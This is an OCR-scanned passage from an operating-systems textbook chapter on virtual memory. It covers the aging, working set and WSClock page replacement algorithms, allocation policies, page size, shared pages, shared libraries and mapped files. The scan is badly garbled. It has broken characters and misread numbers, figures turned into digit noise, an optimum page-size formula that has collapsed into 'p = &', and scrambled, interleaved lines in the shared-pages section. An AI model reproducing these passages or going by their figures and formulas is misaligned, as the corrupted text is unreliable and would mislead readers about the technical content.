Page 

0 1 

' I  
2 1 

3 1 

4 1 

5 I 

10000000 I I 1 1000000 I 1 1 100000 I 1 1 110000 011 1 1000 

00000000 I 10000000 I 1 1000000 I 01100000 10110000 

10000000 I I 01000000 I 00100000 I 00100000 10010000 

00000000 I I 00000000 I 10000000 I 01000000 00100000 

10000000 I I 1 1000000 I 01100000 I 10110000 01011000 

10000000 I 01000000 I 10100000 I 01010000 00101000 

(a) Ib) (e) (d) Ie) 

Figure 3�18. The aging algorithm simulates LRU in software. Shown are six 
pages for five clock ticks. The five clock ticks are represented by (a) to (e). 

When a page fault occurs, the page whose counter is the lowest is removed_ It 
is clear that a page that has not been referenced for, say, four clock ticks will have 
four leading zeros in its counter and thus will have a lower value than a counter 
that has not been referenced for three clock ticks. 

This algorithm differs from LRU in two ways. Consider pages 3 and 5 in 
Fig. 3-18(e). Neither has been referenced for two clock ticks; both were refer
enced in the tick prior to that. According to LRU, if a page must be replaced, we 
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should choose one of these two. The trouble is, we do not know which of them 
was r�feren�ed l�st in the interval between tick 1 and tick 2. By recording only 
one bit per tIme mterval, we have lost the ability to distinguish references early in 
the clock interval from those occurring later. All we can do is remove page 3, be
cause page 5 was also referenced two ticks earlier and page 3 was not. 

The second diff�rence between LRU and aging is that in aging the counters 
have a finite number of bits (8 bits in this example) which limits its past horizon. 
Suppose that two pages each have a COunter value of O. All we can do is pick one 
of them.at r�dom. In reality, it may well be that one of the pages was last refer
enced nme ticks ago and the other was last referenced 1000 ticks ago. We have �o '*.ay of seeing that. In practice, however,8 bits is generally enough if a clock �ck IS aro�nd 20 msec. If a page has not been referenced in 160 msec, it probably 
IS not that Important. 

3.4.8 The Working Set Page Replacement Algorithm 

. 
In the purest form of paging, processes are started up with none of their pages III memor�. As soon as. the CPU tries to fetch the first instruction, it gets a page fault, causmg the operatmg system to bring in the page containing the first instruction. Other page faults for global variables and the stack usually follow quickly. After a while, the process has most of the pages it needs and settles down to run with relatively few page faults. This strategy is called demand paging because pages are loaded only On demand, not in advance. 
Of course, it is easy enough to write a test program that systematically reads all the pages in a large address space, causing so many page faults that there is not enough memory to hold them all. Fortunately, most processes do not work this way: They exhibit a locality of reference, meaning that during any phase of executIOn, the process references only a relatively small fraction of its pages. Each pass of a mUltipass compiler, for example, references only a fraction of all the pages, and a different fraction at that. 
T�e set of pages that a process is currently using is known as its working set (Denmng, 1968a; Denning, 1980). If the entire working set is in memory, the process will run without causing many faults until it mOves into another execution phase (e.g., the next pass of the compiler). If the available memory is too small to hold the entire working set, the process will cause many page faults and run slowly, since executing an instruction takes a few nanoseconds and readin<r in a page from the disk typically takes 10 milliseconds. At a rate of one or t;o instructions per 10 milliseconds, it will take ages to finish_ A program causing page faults every few instructions is said to be thraShing (Denning, 1968b). In a multiprogramming system, processes are frequently moved to disk (i.e., all their pages are removed from memory) to let other processes have a tum at the CPU .
. 
The questi�n arises of what to do when a process is brought back in again. Techmcally, nothmg need be done. The process will just cause page faults until 
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its working set has been loaded. The problc::m is that ha:ing 20, 100, or ev�n 1000 

page faults every time a process is loaded IS slow. and �t �lso wastes consld�rable 

CPU time, since it takes the operating system a few milliseconds of CPU time to 

process a page fault. , . 
Therefore, many paging systems try to keep track of each process w�rking 

set and make sure that it is in memory before letting the process run. ThIS ap� 

proach is called the working set model (Denning, 1970)_. It is designed to �reatly 

reduce the page fault rate. Loading the pages before lettI�g processes run IS also 

called prepaging.Note that the working set changes over tJ.rne. . 
It has long been known that most programs do not reference theIr address 

space unifonnly, but that the references tend to cluster on a small num?er of 

pages. A memory reference may fetch an instruction, it ma� f�tch data, or it may 

store data. At any instant of time, t, there exists a set conslstJ.�g of all th: pages 

used by the k most recent memory references. This set, w(k, t), is the working set. 

Because the k = 1 most recent references must have used all the pages used by the 

k > I most recent references, and possibly others, w(k, t) is a monotonically non

decreasinIT function of k. The limit of w(k, t) as k becomes large is finite because 

a progra� cannot reference more pages than its addr�ss space
. 
contains, and f�w 

programs will use every single page. Figure 3-19 depIcts the SIze of the working 

set as a function of k. 

w(k,t) 

k 

Figure 3.19. The working set is the set of pages used by the k mos� recent 
memory references. The function w(k, t) is the size of the working set at time t. 

The fact that most programs randomly access a small number of pages, but 
that this set chanaes slowly in time explains the initial rapid rise of the curve and 
then the slow ris� for large k. For example, a program that is executing a loop 
occupying two pages using data on four pages, may reference all six pages eve� 
1000 instructions, but the most recent reference to some other page may be a mIl
lion instructions earlier, during the initialization phase. Due to this asymptotic be
havior, the contents of the working set is not sensitive to the value of k chosen. 
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To �ut it differently, there exists a wide range of k values for which the working 
set IS unchanged. Because the working set varies slowly with time, it is possible to 
make a reasonable guess as to which pages will be needed when the program is 
restarted on the basis of its working set when it was last stopped. Prepaging con
sists of loading these pages before resuming the process. 

To implement the working set model, it is necessary for the operating system 
to keep track of which pages are in the working set. Having this information also 
immediately leads to a possible page replacement algorithm: when a page fault 
occurs, find a page not in the working set and evict it. To implement such an al
gorithm, we need a precise way of determining which pages are in the working 
set. By definition, the working set is the set of pages used in the k most recent 
memory references (some authors use the k most recent page references, but the 
choice is arbitrary). To implement any working set algorithm, some value of k 
must be chosen in advance. Once some value has been selected, after every mem
ory reference, the set of pages used by the most recent k memory references is 
uniquely determined. 

Of course, having an operational definition of the working set does not mean 
that there is an efficient way to compute it during program execution. One could 
imagine a shift register of length k, with every memory reference shifting the reg
ister left one position and inserting the most recently referenced page number on 
the right. The set of all k page numbers in the shift register would be the" working 
set. In theory, at a page fault, the contents of the shift register could be read out 
and sorted. Duplicate pages could then be removed. The result would be the 
working set. However, maintaining the shift register and processing it at a page 
fault would both be prohibitively expensive, so this technique is never used. 

Instead, various approximations are used. One commonly used approximation 
is to drop the idea of counting back k memory references and use execution time 
instead. For example, instead of defining the working set as those pages used dur
ing the previous 10 million memory references, we can define it as the set of 
pages used during the past 100 msec of execution time. In practice, such a defini
tion is just as good and much easier to work with. Note that for each process, 
only its own execution time counts. Thus if a process starts running at time T and 
has had 40 rosec of CPU time at real time T + 100 rosec, for working set purposes 
its time is 40 msec. The amount of CPU time a process has actually used since it 
started is often called its current virtual time. With this approximation, the 
working set of a process is the set of pages it has referenced during the past 't sec
onds of virtual time. 

Now let us look at a page replacement algorithm based on the working set. 
The basic idea is to find a page that is not in the working set and evict it. In 
Fig. 3-20 we see a portion of a page table for some machine. Because only pages 
that are in memory are considered as candidates for eviction, pages that are absent 
from memory are ignored by this algorithm. Each entry contains (at least) two key 
items of information: the (approximate) time the page was last used and the R 
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(Referenced) bit. The empty white rectangle symbolizes the other fields not need

ed for this algorithm, such as the page frame number, the protection bits, and the 

M (Modified) bit. 

Information about { 
one page 

Time of last use 

Page referenced 
during this lick 

Page nol referenced 
during this tick 

2084 

2003 

1980 

1213 0 

2014 

2020 

2032 

1620 0 
Page table 

2204 \ Current virtual time 

R (Referenced) bit 

Scan all pages examining R bit 
if (R = 1) 
set lime of last use to current virtual time 

if (R ='" 0 and age > '\:) 
remove this page 

if (R = 0 and age 5',1:) 
remember the smallest time 

Figure 3·20. The working set algorithm. 

The algorithm works as follows. The hardware is assumed to set the R and M 
bits, as discussed earlier. Similarly, a periodic clock interrupt is assumed to cause 
software to run that clears the Referenced bit on every clock tick. On every page 
fault, the page table is scanned to look for a suitable page to evict. 

As each entry is processed, the R bit is examined. If it is 1, the current virtual 
time is written into the Time of last use field in the page table, indicating that the 
page was in use at the time the fault occurred. Since the page has been referenced 
during the current cIock tick, it is clearly in the working set and is not a candidate 
for removal ('t is assumed to span multiple clock ticks). 

If R is 0, the page has not been referenced during the current clock tick and 
may be a candidate for removal. To see whether or not it should be removed, its 
age (the current virtual time minus its Time of last use) is computed and compared 
to 'to If the age is greater than 't, the page is no longer in the working set and the 
new page replaces it. The scan continues updating the remaining entries. 

However, if R is 0 but the age is less than or equal to 't, the page is still in the 
working set. The page is temporarily spared, but the page with the greatest age 
(smallest value of Time of last use) is noted. If the entire table is scanned without 
finding a candidate to evict, that means that all pages are in the working set. In 
that case, if one or more pages with R =- 0 were found, the one with the greatest 
age is evicted. In the worst case, all pages have been referenced during the cur� 
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rent clock tick (and thus all have R = 1), so one is chosen at random for removal 
preferably a clean page, if one exists. ' 

3.4.9 The WSClock Page Replacement Algorithm 

The basic work�ng set algorithm is cumbersome, since the entire page table ?as to be scanned at each page fault until a suitable candidate is located. An 

�mprov�d algorithm, that is based on the clock algorithm but also uses the work� 
I�g s�t 

.
mfoIT?ation, is called WSClock (Carr and Hennessey, 1981). Due to its 

SImplICIty of Implementation and good performance, it is widely used in practice. 

.The data structure needed is a circular list of page frames, as in the clock al� 
gont�m, and as 

.
s�own in Fig. 3-21(a). Initially, this list is empty. When the first 

�age IS loaded, .It IS added to f.t1e list. As more pages are added, they go into the 
list to form a nng. Each entry contains the Time of last use field from the basic 
working s�t algorithm, as we�l as the R bit (shown) and the M bit (not shown). 

A� WIth �he clock algonthm, at each page fault the page pointed to by the 
hand IS �xamm

.
e� first. If. the R bit �s set to 1, the page has been used during the 

current tIck so It IS not an Ideal candIdate to remove. The R bit is then set to 0 the 
hand advan�ed to the next page, and the algorithm repeated for that page. 'The 
state after thIS sequence of events is shown in Fig. 3-21(b). 

. 
Now consider what happens if the page pointed to has R = 0, as.shown in 

FIg. �-21(c). If the age is greater than 't and the page is clean, it is not in the 
working set and a valid copy exists on the disk. The page frame is simply claimed 
and t�e �ew �age put there, as shown in Fig. 3�2l (d). On the other hand, if the 
p�ge IS dIrty,

. 
it cannot be cl�imed immediately since no valid copy is present on 

dIsk. To aVOId a process switch, the write to disk is scheduled, but the hand is ad� 
vanced and the algorithm continues with the next page. After all, there might be 
an old, c�ea� page further down the line that can be used immediately. 

In pnnclple, all �ages might be scheduled for disk I/O on one cycle around the 
clock. To redu

.
ce dISk traffic, a limit might be set, allowing a maximum of n 

pages to be wntten back. Once this limit has been reached, no new writes are 
scheduled. 

What happens if the hand comes all the way around to its starting point? 
There are two cases to consider: 

1. At least one write has been scheduled. 

2. No writes have been scheduled. 

In the first �ase, the hand just keeps moving, looking for a clean page. Since one or mor� wntes have been scheduled, eventually some write will complete and its 
page ':"111 be marked .as clean. The first clean page encountered is evicted. This 
page IS n�t n�essanly the first write scheduled because the disk driver may 
reorder wntes In order to optimize disk performance. 
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I 2204 I Current virtual time 

11 620101 11 620101 

\2032111 
1208411 \ 1203211 1 1208411 1 

12003!1 1 � 1202011 \ 12003[1 1 1 1202011 1 

� fIili@J fiillD3 t 'R bil 
Time of 
last use 

(a) 

11 62010\ 

12084[1 I 1203211 1 
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FigUJ:e 3-21. Operation of the WSClock algorithm. (a) and (b) give an example 
of what happens when R :=  J .  (c) and (d) give an example of R :=  O. 

In the second case, all pages are in the working set, otherwise at least one 

write would have been scheduled. Lacking additional information, the simplest 

thina to do is claim any clean page and use it. The location of a clean page could 

be k�pt track of during the sweep. If no clean pages exist, then the current page is 

chosen as the victim and written back to disk. 
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3.4.10 Summary of Page Replacement Algorithms 

We have now looked at a variety of page replacement algorithms. In this sec� 
ti?n we will briefly summarize them. The list of algorithms discussed is given in 
Flg. 3-22. 

Algorithm Comment 

Optimal No! implementable, but useful as a benchmark 

NRU (Not Recently Used) Very crude approximation of LRU 

FIFO (First-In, First-Out) Might throw out important pages 

Second chance Big improvement over FIFO 

Clock Realistic 

LRU (Least Recently Used) Excellent, but difficult to implement exactly 

NfU (Not Frequently Used) I Fairly crude approximation to LRU 

Aging Efficient algorithm that approximates LRU well 

Working set Somewhat expensive to implement 

WSClock Good efficient algorithm 

Figure 3-22. Page replacement algorithms discussed in the text. 

The optimal algorithm evicts the page that will be referenced furthest in the 
future. Unfortunately, there is no way to determine which page this is, so in prac
tice this algorithm cannot be used. It is useful as a benchmark against which other 
algorithms can be measured, however. 

, The NRU algorithm divides pages into four classes depending on the state of 
the R and M bits. A random page from the lowest-numbered class is chosen. This 
algorithm is easy to implement, but it is very crude. Better ones exist. 

FIFO keeps track of the order in which pages were loaded into memory by 
keeping them in a linked list. Removing the oldest page then becomes trivial, but 
that page might still be in use, so FIFO is a bad choice. 

Second chance is a modification to FIFO that checks if a page is in use before 
removing it. If it is, the page is spared. This modification greatly improves the 
performance. Clock is simply a different implementation of second chance. It has 
the same perfonnance properties. but takes a little less time to execute the algo
rithm. 

LRU is an excellent algorithm, but it cannot be implemented without special 
hardware. If this hardware is not available, it cannot be used. NFU is a crude at� 
tempt to approximate LRU. It is not very good. However, aging is a much better 
approximation to LRU and can be implemented efficiently. It is a good choice. 

The last two algorithms use the working set. The working set algorithm gives 
reasonable performance, but it is somewhat expensive to implement. WSClock is 
a variant that not only gives good performance but is also efficient to implement. 
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All in all, the two best algorithms are aging and WSClock. They are based on 
LRU and the working set, respectively. Both give good paging performance and 
can be implemented efficiently. A few other algorithms exist, but these two are 
probably the most important in practice. 

3.5 DESIGN ISSUES FOR PAGING SYSTEMS 

In the previous sections we have explained how paging works and have given 
a few of the basic page replacement algorithms and shown how to model them. 
But knowing the bare mechanics is not enough. To design a system, you hav� to 
know a lot more to make it work well. It is like the difference between knowmg 
how to move the rook, knight, bishop, and other pieces in chess, and being a good 
player. In the following sections, we will look at other issues that operating sys
tem designers must consider carefully in order to get good performance from a 
paging system. 

3.5.1 Local versus Global Allocatiou Policies 

In the preceding sections we have discussed several algorithms 
.
for c�oosin� a 

page to replace when a fault occurs. A major issue associated WIth thIS chOIce 
(which we have carefully swept under the rug until now) is how memory should 
be allocated among the competing runnable processes. 

Take a look at Fig. 3-23(a). In this figure, three processes, A, B, and C, make 
up the set of runnable processes. Suppose A gets a page fault. �hou

.
ld the page 

replacement algorithm try to find the least recently used page consldenng only the 
six pages currently allocated to A, or should it consider all the pa.ges in memory? 
Iiit looks only atA's pages, the page with the lowest age value IS AS, so we get 
the situation of Fig. 3-23(b). 

On the other hand, if the page with the lowest age value is removed without 
regard to whose page it is, page B3 will be chosen and we will get the situation of 
Fig. 3-23(c). The algorithm of Fig. 3-23(b) is said to be a local page replacement 
algorithm, whereas that of Fig. 3-23(c) is said to be a global algorithm. Local al
gorithms effectively correspond to allocating every process a fixed fraction of the 
memory. Global algorithms dynamically allocate page frames among the ru�nab�e 
processes. Thus the number of page frames assigned to each process vanes m 
time. 

In general, global algorithms work better, especially when the working set 
size can vary over the lifetime of a process. If a local algorithm is used and the 
working set grows, thrashing will result, even if there are plenty of free page 
frames. If the working set shrinks, local algorithms waste memory. If a global al
oorithm is used, the system must continually decide how many page frames to ;ssign to each process. One way is to monitor the working set size as indicated by 
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Figure 3·23. Local versus global page replacement. (a) Original configuration. 
(b) Local page replacement. (c) Global page replacement. 
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the aging bits, but this approach does not necessarily prevent thrashing. The work
ing set may change size in microseconds, whereas the aging bits are a crude meas
ure spread over a number of clock ticks. 

Another approach is to have an algorithm for allocating page frames to proc
esses. One way is to periodically determine the number of running processes and 
allocate each process an equal share. Thus with 12,416 available (i.e., non-operat
ing system) page frames and 10 processes, each process gets 1241 frames. The 
remaining six go into a pool to be used when page faults occur. 

Although this method seems fair, it makes little sense to give equal shares of 
the memory to a lO-KB process and a 300-KB process. Instead, pages can be allo
cated in proportion to each process' total size, with a 300-KB process getting 30 
times the allotment of a 10-KB process. It is probably wise to give each process 
some minimum number, so that it can run no matter how small it is. On some ma
chines, for example, a single two-operand instruction may need as many as six 
pages because the instruction itself, the source operand, and the destination oper
and may all straddle page boundaries. With an allocation of only five pages, pro
grams containing such instructions cannot execute at alL 

If a global algorithm is used, it may be possible to start e.ach process up with 
some number of pages proportional to the process' size, but the allocation has to 
be updated dynamically as the processes run. One way to manage the allocation is 
to use the PFF (Page Fault Frequency) algorithm. It tells when to increase or 
decrease a process' page allocation but says nothing about which page to replace 
on a fault. It just controls the size of the allocation set. 
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For a large class of page replacement algorithms, including LRU, it is known 
that the fault rate decreases as more pages are assigned, as we discussed above. 
This is the assumption behind PFF. This property is illustrated in Fig. 3-24. 

� _________ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _  A 

l' t _ _ _ _ _ _ _ _ _ _ _ _ _  B 

Number of page frames assigned 

Figure 3-24. Page fault rate as a function of the number of page frames assigned. 

Measuring the page fault rate is straightforward: just count the number of 
faults per second, possibly taking a running mean over past seconds as well. One 
easy way to do this is to add the number of page faults during the immediately 
preceding second to the current running mean and divide by two. The dashed line 
marked A corresponds to a page fault rate that is unacceptably high, so the fault
ing process is given more page frames to reduce the fault rate. The dashed line 
marked B corresponds to a page fault rate so low that we can assume the proce�s 
has too much memory. In this case page frames may be taken away from It 
Thus, PFF tries to keep the paging rate for each process within acceptable bounds. 

It is important to note that some page replacement algorithms can work with 
either a local replacement policy or a global one. For example, FIFO can replace 
the oldest page in all of memory (global algorithm) or the oldest page owned by 
the current process (local algorithm). Similarly, LRU or some approximation to it 
can replace the least recently used page in all of memory (global algorithm) or the 
least recently used page owned by the current process (local algorithm). The 
choice of local versus global is independent of the algorithm in some cases. 

On the other hand, for other page replacement algorithms, only a local strate
gy makes sense. In particular, the working set and WSClock algorithms refer to 
some specific process and must be applied in that context. There really is no 
working set for the machine as a whole, and trying to use the union of all the 
working sets would lose the locality property and not work well. 

3.5.2 Load Control 

Even with the best page replacement algorithm and optimal global allocation 
of page frames to processes, it can happen that the system thrashes. In fact, when
ever the combined working sets of all processes exceed the capacity of memory, 
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�ash�ng. can be expected. One symptom of this situation is that the PFP algo
nthm mdicates �hat some processes need more memory but no processes need less 
mem�)[y .. In. thIS case there is no way to give more memory to those processes 
needl�g It WI.thOUt hurting some other processes. The only real solution is to tem
poranly get nd of some processes. 

A good way to reduce �he number of processes competing for memory is to 
swap some of them to the dISk and free up all the pages they are holding. For ex
ample, one process can be sw�pped to disk and its page frames divided up among 
oth�r pr�cesses tha� are thrashmg. If the thrashing stops, the system can run for a 
whIle t�s way. If.It does not stop, another process has to be swapped out, and so 
on, until the. thr�hmg stops. Thus even with paging, swapping is still needed, only 
now . swappmg IS used to reduce potential demand for memory, rather than to 
reclrum pages. 

Swappin� pro.cesses out to 
'
relieve the load on memory is reminiscent of two

level. schedulmg, m which some processes are put on disk and a short-term sched
uler l� used �o �chedule the remaining processes. Clearly, the two ideas can be 
combmed, w�th �ust enough processes swapped out to make the page-fault rate ac
ceptable. Penodically, some processes are brought in from disk and other ones are 
swapped out. 

However, another factor t� con�ider is the degree of mUltiprogramming. 
When the n�mber. of proc�sses m mam memory is too low, the CPU mAy be idle 
for subst�ntIaI peno�s of time. This consideration argues for considering not only 
process s:z� and pagmg rate when deciding which process to swap out, but also its 
ch��ctenstlcs, such as whether it is CPU bound or I/O bound, and what charac
tenstlcs the remaining processes have. 

3.5.3 Page Size 

�e page size is often a parameter that can be chosen by the operating system. 
Even :f the hardware has been designed with, for example, 5 12-byte pages, the 
operatmg system can easily regard page pairs 0 and 1 ,  2 and 3, 4 and 5, and so on, 
as 1-KB pages by always allocating two consecutive 5 12-byte page frames for 
them. 

Determining �e best page size requires balancing several competing factors. 
As a result, there IS no overall optimum. To start with, there are two factors that 
argue for a small page size. A randomly chosen text, data, or stack segment will 
not fill an integral number of pages. On the average, half of the final page will be 
empty. The extra space in that page is wasted. This wastage is caned internal 
fragme?tation. With n. segments in memory and a page size of p bytes, np/Z 
bytes ':"111 be wasted on mternal fragmentation. This reasoning argues for a small 
page SIze. 

Another argument for a small page size becomes apparent if we think about a 
program consisting of eight sequential phases of 4 KB each. With a 32-KB page 
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size, the program must be allocated 32 KB all the time. With a 16-KB page size, 

it needs only 16 KB. With a page sile of 4 KB or smaller, it requires only 4 KB 

at any instant. In general, a large page size will cause more unused program to be 

in memory than a small page size. 
On the other hand, small pages mean that programs will need many pages, 

hence a large page table. A 32-KB program needs only four 8-KB pages, b�t 64 

512-byte pages. Transfers to and from the disk are generally a page at a �lme, 

with most of the time being for the seek and rotational delay, so that transfernng a 

small page takes almost as much time as transferring a large page. It might take 

64 x 10 msec to load 64 Sl2-byte pages, but only 4 x 1 2  msec to load four 8-KB 

pages. . 
On some machines, the page table must be loaded into hardware regIsters ev-

ery time the CPU switches from one process to another. On these mac�ines hav

ing a small page size means that the time required to load the pag� regIsters gets 

longer as the page size gets smaller. Furthermore, the space occupied by the page 

table increases as the page size decreases. 
This last point can be analyzed mathematically. Let the average process size 

be s bytes and the page size be p bytes. Furthermore, assume that each pag� entry 

requires e bytes. The approximate number of pages needed per proce.ss IS then 

sip, occupying selp bytes of page table space. The wasted memory m the last 

page of the process due to internal fragmentation is pl2. Thus, the total overhead 
due to the page table and the internal fragmentation loss is given by the sum of 

these two terms: 

overhead "'" selp + pl2 
The first term (page table size) is large when the page size is smalL The sec

ond term (internal fragmentation) is large when the page size is large. The 

optimum must lie somewhere in between. By taking the first derivative with 

respect to p and equating it to zero, we get the equation 

-selp' + 112 = 0 

From this equation we can derive a formula that gives the optimum page size 
(considering only memory wasted in fragmentation and page table size). The re
sult is: 

p = & 
For s "'" 1MB and e "'" 8 bytes per page table entry, the optimum page size is 4 KB. 
Commercial1y available computers have used page sizes ranging from 512 bytes 

to 64 KB. A typical value used to be I KB, but nowadays 4 KB or 8 KB is more 

common. As memories get larger, the page size tends to get larger as well (but 
not linearly). Quadrupling the RAM size rarely even doubles the page size. 
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3.5A Separate Instruction and Data Spaces 

Most computers have a single address space that holds both programs and 
data, as shown in Fig. 3-25(a). If this address space is large enough, everything 
works fine. However, it is often too small, forcing programmers to stand on their 
heads to fit everything into the address space. 

Single address 
space 

Data � !2"� 
Program { 

(aJ 

D space J space 2"� 
} Unused page 

Program { 
(bJ 

Figure 3·25. (a) One address space. (b) Separate I and D spaces. 

One solution, pioneered on the ( l6-bit) PDP- l l ,  is to have separate address 
spaces for instructions (program text) and data, called I-space and D�9pace, re
spectively, as illustrated in Fig. 3-25(b). Each address space runs from 0 to some . . II 216 I 232 . maxImum, typlca y - or - 1 .  The lmker must know when separate l-
and D-spaces are being used, because when they are, the data are relocated to vir
tua! address 0 instead of starting after the program. 

In a computer with this design, both address spaces can be paged, indepen
dently from one another. Each one has its own page table, with its own mapping 
of virtual pages to physical page frames. When the hardware wants to fetch an in
struction, it knows that it must use I-space and the I-space page table. Similarly, 
references to data must go through the D-space f}age table. Other than this dis
tinction, having separate Iw and D-spaces does not introduce any special complica
tions and it does double the available address space. 

3.5.5 Shared Pages 

Another design issue is sharing. In a large mUltiprogramming system, it is 
common for several users to be running the same program at the same time. It is 
clearly more efficient to share the pages, to avoid having two. copies of the same 
page in memory at the same time. One problem is that not all pages are sharable. 
In particular, pages that are read-only, such as program text, can be shared, but 
data pages cannot. 

If separate 1- and D-spaces are supported, it is relatively straightforward to 
share programs by having two or more processes use the same page table for their 
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. 0" tables for their D-spaces. Typically in an implementa-
I-space but different p

.
a�e

. . o-e tables are data structures independent 
tion that supports shanng m thIS ��y, t:� two pointers in its process table: one to 
of the process table. Each process en 

table as shown in Fio- 3-26. 
the I-space page table and one to the 

s
D

t
:���e fra::es the�e pointers to lo;�te the 

When �e scheduler chooses a proces 
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mechanism is more complicated. 

Process 
table 

Program Data 1 Data 2 

L\ ___________ y_----------
Page tables 

. 
h prooram sharin'" its page table. 

Figure 3-26. Two processes shanng I e same ., " 
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that their disk space will not be freed by accident. Searc?-

f:::�t:e s����nt:l::�O see if a page is shared is usually too ex���i��.�� ���l�� 
da�a structures are needed to keep track of shared pages, especl . ble 
sharing is the individual page (or fun.o
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l
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n
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i
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s �::�h:�g���e.:r:�: �tn� ��il�m!e required to share 

��ful�r�:a� �:��r a�d�ata: In a pag;d system, what is often done is to give each 
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of these processes its own page table and have both of them point to the same set 
of pages. Thus no copying of pages is done at fork time. However, all the data 
pages are mapped into both processes as READ ONLY. 

As long as both processes just read their data, without modifying it, this situa
tion can continue. As soon as either process updates a memory word, the viola
tion of the read-only protection causes a trap to the operating system. A copy is 
then made of the offending page so that each process now has its own private 
copy. Both copies are now set to READ-WRITE, so subsequent writes to either 
copy proceed without trapping. This strategy means that those pages that are 
never modified (including all the program pages) need not be copied. Only the 
data pages that are actually modified need to be copied. This approach, called 
copy on write, improves performance by reducing copying. 

3.5.6 Shared Libraries 

Sharing can be done at other granularities than individual pages. If a program 
is started up twice, most operating systems will automatically share all the text 
pages so that only one copy is in memory. Text pages are always read only, so 
there is no problem here. Depending on the operating system, each process may 
get its own private copy of the data pages, or they may be shared and mm-ked read 
only. If any process modifies a data page, a private copy will be made for it, that 
is, copy on write will be applied. 

In modem systems, there are many large libraries used by many processes, for 
example, the library that handles the dialog for browsing for files to open and 
multiple graphics libraries. Statically binding all these libraries to every ex
ecutable program on the disk would make them even more bloated than they al
ready are. 

Instead, a common technique is to use shared libraries (which are called 
DLLs or Dynamic Link Libraries on Windows). To make the idea of a shared 
library clear, first consider traditional linking. When a program is linked, one or 
more object files and possibly some libraries are named in the command to the 
linker, such as the UNIX command 

Id *.0 -Ie -1m 

which links all the .0 (object) files in the current directory and then scans two li
braries, lusrllibllibc.a and lusrllibllibm.a. Any functions called in the object files 
but not present there (e.g., printj) are called undefined externals and are sought 
in the libraries. If they are found, they are included in the executable binary. Any 
functions they call but are not yet present also become undefined externals. For 
example, printj needs write, so if write is not already included, the linker will look 
for it and include it when found. When the linker is done, an executable binary 
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file is written to the disk containing all the functions needed. Functi?os prese�t in 
the libraries but not caned are not included. When the program IS loaded mto 
memory and executed, all the functions it needs are there. . Now suppose common programs use 20-50 MB worth �f graphIcs a?d u�er 
interface functions. Statically linking hundreds of programs wIth all thes� hbranes 
would waste a tremendous amount of space on the disk as well as wasung sp�ce 
in RAM when they were loaded since the system would h�ve no way of knOWl�g 
it could share them. This is where shared libraries come lfi. Wh�n a pro�ram IS 
linked with shared libraries (which are slightly different than statlc ones), .mstead 
of including the actual function called, the linker �ncludes a small stub routme that 
binds to the called function at run time. Dependmg on the system an� the confi
guration details, shared libraries are loaded either when the pr�gram IS loaded or 
when functions in them are called for the first time. Of course: If an?ther pro

.
gram 

has already loaded the shared library, there is 00 need to load It agam-that �s t�e 
whole point of it. Note that when a shared library is

. 
loaded �r used, the entIre lI

brary is not read ioto memory in a singl� blow. It IS pag�d m, page by page, as 
needed, so functions that are not called wlll not be brought l�to RAM . . In addition to making executable files smaller and savmg space. m me�ory, 
shared libraries have another advantage: if a function in a shared lIbrary IS u�
dated to remove a bug, it is not necessary to recompile the programs that call It 
The old binaries continue to work. This feature is especially important for com
mercial software, where the source code is not distributed to the customer. For �x
ample, if Microsoft finds and fixes a security error in some standard DLL, Wm
dows Update will download the new DLL and replace the

. 
old one, and. all pro

o-rams that use the DLL will automatical1y use the new verSIOn the next orne they o 
are launched. 

Shared libraries come with one little problem that has to be solved, h?weve:. 
The problem is illustrated in Fig. 3-27. Here we see twO proces::es sha.nng a lr
brary of size 20 KB (assuming each box is 4 KB). However, the lIbrary IS located 
at a different address in each process, presumably because the programs the�
selves are not the same size. In process 1, the library starts at add:ess

.
36K; I.n 

process 2 it starts at 12K. Suppose that the first thing the first function III the lI
brary has to do is jump to address 16 in the library. If the hbr� wer.e not shared, 
it could be relocated on the fly as it was loaded so that the Jump (m process 1) 
could be to virtual address 36K + 16. Note that the physical address in the RAM 
where the library is located does not matter since all the pages are mapped from 
virtual to physical addresses by the MMU hard�are. . However, since the library is shared, relocatIOn on the fly wIll not wo:k. Af�er 
ail, when the first function is called by process 2 (at address 12K), the Jump m
struction has to go to 12K + 16, not 36K + 16. This is the little problem. One w.ay 
to solve it is to use copy on write and create new pages for each process shanng 
the library, relocating them on the fly as they are created, but this scheme defeats 
the purpose of sharing the library, of course. 
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36K 

12K o 
Process 1 RAM Process 2 

Figure 3-27. A shared library being used by two processes. 

A better solution is to compile shared libraries with a special compiler flag 
telling the compiler not to produce any instructions that use absolute addresses. 
Instead only instructions using relative addresses are used. For example, there is 
almost always an instruction that says jump forward (or backward) by n bytes (as 
opposed to an instruction that gives a specific address to jump to). This instruc
tion works correctly no matter where the shared library is placed in the BrtUal ad
dress space. By avoiding absolute addresses, the problem can be solved. Code 
that uses only relative offsets is called position-independent code. 

3.5.7 Mapped Files 

Shared libraries are really a special case of a more general facility called 
memory-mapped files. The idea here is that a process can issue a system call to 
map a file onto a portion of its virtual address space. In most implementations, no 
pages are brought in at the time of the mapping, but as pages are touched, they are 
demand paged in one at a time, using the disk file as the backing store. When the 
process exits, or explicitly unmaps the file, all the modified pages are written back 
to the file. 

Mapped files provide an alternative model for I/O. Instead of doing reads and 
writes, the file can be accessed as a big character array in memory. In some situa
tions, programmers find this model more convenient. 

If two or more processes map onto the same file at the same time, they can 
communicate over shared memory. Writes done by one process to the shared 
memory are immediately visible when the other one reads from the part of its vir
tual address spaced mapped onto the file. This mechanism thus provides a high
bandwidth channel between processes and is often used as such (even to the 
extent of mapping a scratch file). Now it should be clear that if memory-mapped 
files are available, shared libraries can use this mechanism. 
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3.5.8 Cleaning Policy 

Pao-ino works best when there are plenty of free page frames that can be 
claimed ;'  page faults occur. If every page frame is full, and furthermor� modi
fied, before a new page can be brought in, an old page must �rst be wntten to 
disk. To ensure a plentiful supply of free page frames, many pagmg syste� have 
a background process, called the paging daemon, that sleeps most of the tIme but 
is awakened periodically to inspect tbe state of memory. If too few page frames 
are free, the paging daemon begins selecting pages to evict using some page 
replacement algorithm. If these pages have been modified since being loaded, 
they are written to disk. 

In any event, the previous contents of the page are remembered. In th� eve�t 
one of the evicted pages is needed again before its frame has been overwfltt�n, It 
can be reclaimed by removing it from the pool of free page f:ames. Keepmg a 
supply of page frames around yields better performance than USlllg all of memory 
and then trying to find a frame at the moment it is needed. At the very least, t�e 
paging daemon ensures that all the free frames are clean, so they need not be wnt
ten to disk in a big hurry when they are required. 

One way to implement this cleaning policy is with a two-handed clock. The 
front hand is controlled by the paging daemon. When it points to a dirty page, 
